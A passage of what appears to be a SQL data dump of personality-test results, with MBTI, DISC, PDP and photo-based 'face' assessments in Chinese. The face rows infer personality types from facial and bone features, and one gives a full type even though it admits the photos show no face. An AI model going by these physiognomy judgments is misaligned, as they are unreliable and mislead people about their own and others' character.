\"I\", \"3\": \"S\", \"4\": \"C\", \"5\": \"S\", \"6\": \"I\", \"7\": \"D\", \"8\": \"I\", \"9\": \"S\", \"10\": \"C\", \"11\": \"S\", \"12\": \"I\", \"13\": \"D\", \"14\": \"I\", \"15\": \"S\", \"16\": \"C\", \"17\": \"S\", \"18\": \"I\", \"19\": \"D\", \"20\": \"I\"}, \"completedAt\": \"2026-02-27T01:35:45.290Z\", \"description\": {\"type\": \"I型\", \"color\": \"#F59E0B\", \"title\": \"影响型\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"strengths\": [\"善于沟通\", \"乐观积极\", \"创意丰富\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于社交和表达\"}, \"percentages\": {\"C\": 15, \"D\": 20, \"I\": 35, \"S\": 30}, \"dominantType\": \"I\", \"testDuration\": 18, \"secondaryType\": \"S\"}', NULL, NULL, 1, 0, NULL, NULL, 1772156145, 1772156145, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (21, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 20, \"I\": 0, \"S\": 0}, \"answers\": {\"1\": \"D\", \"2\": \"D\", \"3\": \"D\", \"4\": \"D\", \"5\": \"D\", \"6\": \"D\", \"7\": \"D\", \"8\": \"D\", \"9\": \"D\", \"10\": \"D\", \"11\": \"D\", \"12\": \"D\", \"13\": \"D\", \"14\": \"D\", \"15\": \"D\", \"16\": \"D\", \"17\": \"D\", \"18\": \"D\", \"19\": \"D\", \"20\": \"D\"}, \"completedAt\": \"2026-02-27T01:36:09.553Z\", \"description\": {\"type\": \"D型\", \"color\": \"#EF4444\", \"title\": \"支配型\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,注重结果和效率\"}, \"percentages\": {\"C\": 0, \"D\": 100, \"I\": 0, \"S\": 0}, \"dominantType\": \"D\", \"testDuration\": 18, \"secondaryType\": \"I\"}', NULL, 29, 1, 1, 1, 1772157482, 1772156169, 1772157485, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (22, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,思维细腻周全,重视内在原则与长期规划,适合深度思考与专业型发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相清秀偏木水形,骨肉匀称不夸张,颧骨不凸显权势而重内敛思谋,更擅长谋划与支持而非强势掌控。\", \"faceAnalysis\": \"额头偏窄但顺滑,眼神内敛专注,鼻梁清秀,唇形柔和含蓄,整体给人理性细腻、安静克制之感。\", \"personalitySummary\": \"内向安静,思维细致,有同理心与理想主义倾向,做事谨慎有计划,重视个人空间与稳定节奏。\"}', NULL, NULL, 1, 0, 1, NULL, 1772160911, 1772160911, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (23, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTP\", \"title\": \"逻辑学家\"}, \"overview\": \"理性冷静、思维细腻,重视独立空间与深度思考,适合研究与策略型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感偏细长,五官布局均衡偏上停用力,思考与学习能力突出,行动节奏温和但韧性佳,适合持久深耕型发展。\", \"faceAnalysis\": \"额头偏高饱满,眼神内敛专注,鼻梁清秀,嘴形含蓄,下颌略尖,整体给人理性安静、思虑周全之感。\", \"personalitySummary\": \"逻辑导向,善于抽象分析与问题拆解;情绪表达克制,有边界感;做事追求准确与效率,习惯独立完成任务,对熟悉圈层较为温和体贴。\"}', NULL, NULL, 1, 0, 1, NULL, 1772161323, 1772161323, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (24, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,思维细腻有规划,重视内心秩序与长期目标,适合深度思考与专业型发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏木水形,骨肉适中,线条清长不突兀,决断多经思量后出手,抗压方式以内敛稳守为主。\", \"faceAnalysis\": \"额头顺畅、眼神内敛专注,鼻梁清秀、嘴形柔和含蓄,整体显理性克制、重思考少外露情绪。\", \"personalitySummary\": \"内向理性,洞察力强,做事有条理与原则,言语温和但边界清晰,更重质量与深度而非表面热闹。\"}', NULL, NULL, 1, 0, 1, NULL, 1772164524, 1772164524, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (25, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTP\", \"title\": \"逻辑学家\"}, \"overview\": \"理性冷静、思维敏捷,内向专注,有独立判断与持续深耕能力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感清晰偏纤细,属木水形相,骨重肉薄,思维敏锐但行事低调,以理性分析和持续钻研见长。\", \"faceAnalysis\": \"额头平顺偏高,眼神安静克制,鼻梁清秀,嘴形含蓄,下巴略尖,整体气质理性而内敛。\", \"personalitySummary\": \"性格安静理智,重视逻辑与独立空间,表达温和不失原则,适合从事需要专注思考与专业深度的工作。\"}', NULL, 35, 1, 1, 1, 1772172909, 1772164861, 1772172912, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (26, 1, 'mbti', '{\"scores\": {\"E\": 8, \"F\": 0, \"I\": 0, \"J\": 7, \"N\": 0, \"P\": 0, \"S\": 7, \"T\": 8}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-02-27T04:01:37.973Z\", \"confidence\": 100, \"completedAt\": \"2026-02-27T04:01:37.973Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 22, \"dimensionScores\": {\"EI\": {\"E\": 8, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 7, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 8, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, 34, 1, 1, 1, 1772172885, 1772164898, 1772172888, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (27, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 1, \"Peacock\": 19, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Peacock\", \"3\": \"Peacock\", \"4\": \"Peacock\", \"5\": \"Peacock\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Peacock\", \"9\": \"Peacock\", \"10\": \"Peacock\", \"11\": \"Peacock\", \"12\": \"Peacock\", \"13\": \"Peacock\", \"14\": \"Peacock\", \"15\": \"Peacock\", \"16\": \"Peacock\", \"17\": \"Peacock\", \"18\": \"Peacock\", \"19\": \"Peacock\", \"20\": \"Peacock\"}, \"completedAt\": \"2026-02-27T04:02:37.556Z\", \"description\": {\"type\": \"孔雀型\", \"color\": \"#8B5CF6\", \"emoji\": \"🦚\", \"title\": \"表现者\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"teamRole\": \"适合担任激励者和调解者角色\", \"strengths\": [\"善于沟通\", \"乐观积极\", \"影响力强\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于表达和社交\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 5, \"Peacock\": 95, \"Chameleon\": 0}, \"dominantType\": \"Peacock\", \"testDuration\": 17, \"secondaryType\": \"Tiger\"}', NULL, 33, 1, 1, 1, 1772172854, 1772164957, 1772172860, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (28, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 0, \"I\": 1, \"S\": 19}, \"answers\": {\"1\": \"I\", \"2\": \"S\", \"3\": \"S\", \"4\": \"S\", \"5\": \"S\", \"6\": \"S\", \"7\": \"S\", \"8\": \"S\", \"9\": \"S\", \"10\": \"S\", \"11\": \"S\", \"12\": \"S\", \"13\": \"S\", \"14\": \"S\", \"15\": \"S\", \"16\": \"S\", \"17\": \"S\", \"18\": \"S\", \"19\": \"S\", \"20\": \"S\"}, \"completedAt\": \"2026-02-27T04:03:07.050Z\", \"description\": {\"type\": \"S型\", \"color\": \"#10B981\", \"title\": \"稳健型\", \"careers\": [\"人力资源\", \"客户服务\", \"行政\"], \"strengths\": [\"可靠稳定\", \"团队协作\", \"耐心倾听\"], \"weaknesses\": [\"可能抗拒变化\", \"决策较慢\"], \"description\": \"稳重可靠,注重团队和谐\"}, \"percentages\": {\"C\": 0, \"D\": 0, \"I\": 5, \"S\": 95}, \"dominantType\": \"S\", \"testDuration\": 17, \"secondaryType\": \"I\"}', NULL, 31, 1, 1, 1, 1772172257, 1772164987, 1772172260, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (29, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 20, \"I\": 0, \"S\": 0}, \"answers\": {\"1\": \"D\", \"2\": \"D\", \"3\": \"D\", \"4\": \"D\", \"5\": \"D\", \"6\": \"D\", \"7\": \"D\", \"8\": \"D\", \"9\": \"D\", \"10\": \"D\", \"11\": \"D\", \"12\": \"D\", \"13\": \"D\", \"14\": \"D\", \"15\": \"D\", \"16\": \"D\", \"17\": \"D\", \"18\": \"D\", \"19\": \"D\", \"20\": \"D\"}, \"completedAt\": \"2026-02-27T06:13:26.991Z\", \"description\": {\"type\": \"D型\", \"color\": \"#EF4444\", \"title\": \"支配型\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,注重结果和效率\"}, \"percentages\": {\"C\": 0, \"D\": 100, \"I\": 0, \"S\": 0}, \"dominantType\": \"D\", \"testDuration\": 16, \"secondaryType\": \"I\"}', NULL, 32, 1, 1, 1, 1772172825, 1772172807, 1772172828, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (30, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,内敛却有主见,善于思考与规划,适合深度研究与长期项目推进。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"整体偏木水形,相骨清秀不臃,骨感适中偏文弱,重心在上停与中停,更重思考谋划而非强势进攻。\", \"faceAnalysis\": \"额头较宽平,眼神安定含蓄,鼻梁秀直,嘴唇柔和收敛,下颌略尖,下停偏弱显思维感性细腻。\", \"personalitySummary\": \"性格安静理性,有同理心与洞察力,重视个人边界与独立空间,做事稳妥细腻,擅长在幕后规划与支持他人。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772172961, 1772172961, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (31, 1, 'mbti', '{\"scores\": {\"E\": 8, \"F\": 1, \"I\": 0, \"J\": 1, \"N\": 0, \"P\": 6, \"S\": 7, \"T\": 7}, \"answers\": [], \"mbtiType\": \"ESTP\", \"timestamp\": \"2026-02-27T06:16:32.131Z\", \"confidence\": 94, \"completedAt\": \"2026-02-27T06:16:32.131Z\", \"description\": {\"name\": \"企业家\", \"type\": \"ESTP\", \"careers\": [\"销售\", \"企业家\", \"运动员\"], \"category\": \"探险家\", \"strengths\": [\"果断\", \"务实\", \"善于应变\"], \"weaknesses\": [\"可能冲动\", \"缺乏耐心\"], \"description\": \"精力充沛、务实的行动者\"}, \"testDuration\": 27, \"dimensionScores\": {\"EI\": {\"E\": 8, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 1, \"P\": 6, \"dominant\": \"P\", \"percentage\": 86}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 1, \"T\": 7, \"dominant\": \"T\", \"percentage\": 88}}}', NULL, NULL, 0, 0, NULL, NULL, 1772172992, 1772172992, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (32, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 20, \"Peacock\": 0, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Tiger\", \"3\": \"Tiger\", \"4\": \"Tiger\", \"5\": \"Tiger\", \"6\": \"Tiger\", \"7\": \"Tiger\", \"8\": \"Tiger\", \"9\": \"Tiger\", \"10\": \"Tiger\", \"11\": \"Tiger\", \"12\": \"Tiger\", \"13\": \"Tiger\", \"14\": \"Tiger\", \"15\": \"Tiger\", \"16\": \"Tiger\", \"17\": \"Tiger\", \"18\": \"Tiger\", \"19\": \"Tiger\", \"20\": \"Tiger\"}, \"completedAt\": \"2026-02-27T06:17:08.676Z\", \"description\": {\"type\": \"老虎型\", \"color\": \"#F59E0B\", \"emoji\": \"🐅\", \"title\": \"支配者\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"teamRole\": \"适合担任领导者角色\", \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,具有强烈的目标导向和执行力\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 100, \"Peacock\": 0, \"Chameleon\": 0}, \"dominantType\": \"Tiger\", \"testDuration\": 15, \"secondaryType\": \"Peacock\"}', NULL, NULL, 0, 0, NULL, NULL, 1772173028, 1772173028, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (33, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 20, \"I\": 0, \"S\": 0}, \"answers\": {\"1\": \"D\", \"2\": \"D\", \"3\": \"D\", \"4\": \"D\", \"5\": \"D\", \"6\": \"D\", \"7\": \"D\", \"8\": \"D\", \"9\": \"D\", \"10\": \"D\", \"11\": \"D\", \"12\": \"D\", \"13\": \"D\", \"14\": \"D\", \"15\": \"D\", \"16\": \"D\", \"17\": \"D\", \"18\": \"D\", \"19\": \"D\", \"20\": \"D\"}, \"completedAt\": \"2026-02-27T06:17:36.507Z\", \"description\": {\"type\": \"D型\", \"color\": \"#EF4444\", \"title\": \"支配型\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,注重结果和效率\"}, \"percentages\": {\"C\": 0, \"D\": 100, \"I\": 0, \"S\": 0}, \"dominantType\": \"D\", \"testDuration\": 16, \"secondaryType\": \"I\"}', NULL, NULL, 0, 0, NULL, NULL, 1772173056, 1772173056, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (34, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,思维细腻周全,内敛但有自身原则与坚持,适合深度思考与专业型发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏纤细水木形,骨肉匀称不夸张,更多重心在思考与感知,属于稳健内收型,韧性佳但不喜正面强冲。\", \"faceAnalysis\": \"额头偏窄但顺滑,眼神专注温和,鼻梁清秀,唇形柔和收敛,下颌线细窄,整体给人安静理性、敏感细腻之感。\", \"personalitySummary\": \"内向深思,情感细腻但不外露,做事有规划有分寸,重视长期价值与内在原则,人际上温和有界限,擅长在幕后策划与支持。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772245663, 1772245663, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (35, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTP\", \"title\": \"逻辑学家\"}, \"overview\": \"理性内敛、思维敏捷,重视独立空间与深度思考,适合专业研究与策略分析型道路。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"整体骨相纤长偏木形,骨肉匀称而不厚重,重思考与策略胜于强势掌控,耐力稳定偏持久。\", \"faceAnalysis\": \"额头偏高显理性与学习力,眼神专注带思索感,鼻梁清秀重理性判断,嘴形含蓄不事张扬。\", \"personalitySummary\": \"偏理性与独立,逻辑感强,好奇心重,情绪表现克制,人际有边界,擅长在安静环境中深度研究和解决复杂问题。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772245716, 1772245716, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (36, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTP\", \"title\": \"逻辑学家\"}, \"overview\": \"理性安静、独立思考,重视逻辑与个人空间,适合深度研究与创造性工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感偏细长,骨肉匀称,五官线条清晰,属于理性思辨型骨相,耐力中等但专注度高。\", \"faceAnalysis\": \"额头较饱满、眼神沉静理性,鼻梁清秀,嘴形含蓄内敛,整体给人冷静、安静而有思考感。\", \"personalitySummary\": \"思维抽象敏锐,善于分析问题与拆解结构,情绪外显度低,做人有分寸感,偏安静内敛但在熟悉领域表达坚定有主见。\"}', NULL, 36, 1, 0, 800, NULL, 1772246018, 1772258632, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (37, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"思维细腻理性,外冷内暖,擅长独立思考与长期规划,重视自我节奏与内在价值。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏木水形,骨肉匀称而不厚重,颧骨不显主控欲适中,下颌线柔中带坚,整体以稳健内敛为主。\", \"faceAnalysis\": \"额头平顺饱满,眼神内敛专注,鼻梁清秀偏直,嘴唇柔和收敛,下巴略尖显韧性,整体偏理性含蓄。\", \"personalitySummary\": \"安静理性、思路清晰,情绪稳定度高,做事有计划有节奏,重视个人空间与深度思考,待人温和但边界感明确。\"}', NULL, NULL, 1, 0, 200, NULL, 1772259279, 1772259279, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (38, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静,重视逻辑与效率,擅长规划与统筹,做事稳健克制,执行力扎实。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c320ed11.93271163.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c316fc40.15562256.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c30b4767.42934501.jpg\"], \"boneAnalysis\": \"骨相偏方正稳重,骨肉匀称,五行以土金为主,格局偏中高,重视规则秩序与长期稳定。\", \"faceAnalysis\": \"额头平阔,眼神专注,鼻梁端正,嘴形收敛,下颌较稳,整体给人理性内敛、思维清晰之感。\", \"personalitySummary\": \"性格理性谨慎,注重计划与细节,责任感强,抗压能力佳,人际有边界感,偏向独立思考与默默执行。\"}', NULL, 37, 1, 0, 200, NULL, 1772259532, 1772259535, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (39, 1, 'face', '{\"pdp\": {\"primary\": \"变色龙\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTP\", \"title\": \"鉴赏家\"}, \"overview\": \"理性内敛、行动务实,重视效率和实际效果,适合在相对独立又需专业判断的环境中发挥专长。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1e9a9f06.87885663.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1eb4a4a1.45109265.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1eb7f794.01724681.jpg\"], \"boneAnalysis\": \"由于未呈现清晰面部与骨骼轮廓,仅能推测整体偏实务稳健型骨相,缺乏依据做更细分判断。\", \"faceAnalysis\": \"照片仅露出部分手部与发顶,面部特征信息不足,无法进行完整面相分析与对应传统条目判断。\", \"personalitySummary\": \"偏安静理性、重视事实与细节,习惯独立思考后再行动,适合技术、分析或需要冷静判断的角色。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772260136, 1772260136, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (40, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性而带理想主义色彩,兼具细腻感受力与长期规划能力,适合深度思考与稳健推进型发展道路。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏瘦长木形,骨感清晰而不突兀,骨肉比例匀称,耐力与持续投入度较佳,重谋划与内在驱动,外向冲劲相对收敛。\", \"faceAnalysis\": \"额头偏宽平顺,眼神内敛专注,鼻梁细直,嘴唇柔和含蓄,下巴略尖,整体给人安静理性、思考型与敏感细腻的气质。\", \"personalitySummary\": \"思维周密内敛,重视秩序与自我标准,对细节敏锐有审美与分析能力;做事前多思考规划,偏理性克制,有原则感与责任心。\"}', NULL, NULL, 1, 0, 200, NULL, 1772260992, 1772260992, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (41, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"思维细腻安静内敛,重视长期规划与自我成长,擅长在独立空间中深度投入与持续精进。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"面部骨感轻盈,骨肉均匀偏薄,五行偏木水形,格局重思考与审美,抗压方式以理性分析与回避消耗为主。\", \"faceAnalysis\": \"额头略高偏窄、眼神温和内收、鼻梁秀直、嘴唇柔和含蓄、下巴偏尖清秀,整体偏理性内向型气质。\", \"personalitySummary\": \"性格安静克制,敏感但自持,重视原则与边界。做事追求完美与效率,偏向独立思考与深度学习,人际温和有礼但不主动扩圈。\"}', NULL, NULL, 1, 0, 200, NULL, 1772261454, 1772261454, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (42, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性而细腻,思维有规划感,重视内在价值与长远发展,适合深度型与创造型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏木水形,骨感清晰不外露,颧骨平稳不张扬,下颌线柔中带刚,格局偏谋划与思辨型。\", \"faceAnalysis\": \"额头顺展偏高,眼神内敛专注,鼻梁细直,唇形柔和含蓄,下巴略尖带韧性,整体气质清冷理性。\", \"personalitySummary\": \"性格安静克制,思考周密,有同理心与理想主义倾向,做事追求完善与长期价值,人际上保留度高但可靠度强。\"}', NULL, NULL, 1, 0, 200, NULL, 1772262532, 1772262532, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (43, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,思维细腻有规划,重内在标准与长期目标,适合深度研究与策略型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", 